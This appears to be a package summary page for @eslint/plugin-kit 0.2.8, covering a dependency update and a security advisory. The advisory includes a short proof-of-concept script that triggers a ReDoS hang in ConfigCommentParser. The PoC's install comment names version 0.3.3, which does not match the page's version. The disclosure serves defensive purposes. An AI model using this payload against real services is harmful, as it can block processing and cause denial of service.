@eslint/plugin-kit version 0.2.8 introduces a notable update primarily focused on its dependency on @eslint/core, bumping it from version 0.12.0 to version 0.13.0. This upgrade in @eslint/core suggests potential enhancements or bug fixes within ESLint's core functionality that plugin developers can now leverage when utilizing @eslint/plugin-kit. Besides this core dependency upgrade, there aren't any other apparent differences in the listed dependencies or devDependencies, suggesting that the API and tooling around @eslint/plugin-kit remain largely consistent between versions 0.2.7 and 0.2.8.
For developers building ESLint plugins, this update signifies a chance to ensure compatibility and take advantage of the latest improvements within the ESLint ecosystem. While the core functionalities of plugin creation facilitated by @eslint/plugin-kit should remain similar, thoroughly testing plugins built with the new version is recommended to avoid any unexpected behavior due to changes in the underlying @eslint/core. Also, the unpacked size of version 0.2.8 is slightly smaller than the previous version. Ensure to consult the @eslint/core changelog for detailed insights on what's new and improved to maximize the benefits when constructing plugins. The release date of version 0.2.8 is also much more recent.
All the vulnerabilities related to the version 0.2.8 of the package
@eslint/plugin-kit is vulnerable to Regular Expression Denial of Service attacks through ConfigCommentParser
The ConfigCommentParser#parseJSONLikeConfig API is vulnerable to a Regular Expression Denial of Service (ReDoS) attack in its only argument.
The regular expression at packages/plugin-kit/src/config-comment-parser.js:158 is vulnerable to a quadratic runtime attack because the grouped expression is not anchored. This can be solved by prepending the regular expression with [^-a-zA-Z0-9/].
const { ConfigCommentParser } = require("@eslint/plugin-kit");
const str = `${"A".repeat(1000000)}?: 1 B: 2`;
console.log("start")
var parser = new ConfigCommentParser();
console.log(parser.parseJSONLikeConfig(str));
console.log("end")
// run `npm i @eslint/plugin-kit@0.3.3` and `node attack.js`
// then the program will stuck forever with high CPU usage
This is a Regular Expression Denial of Service attack which may lead to blocking execution and high CPU usage.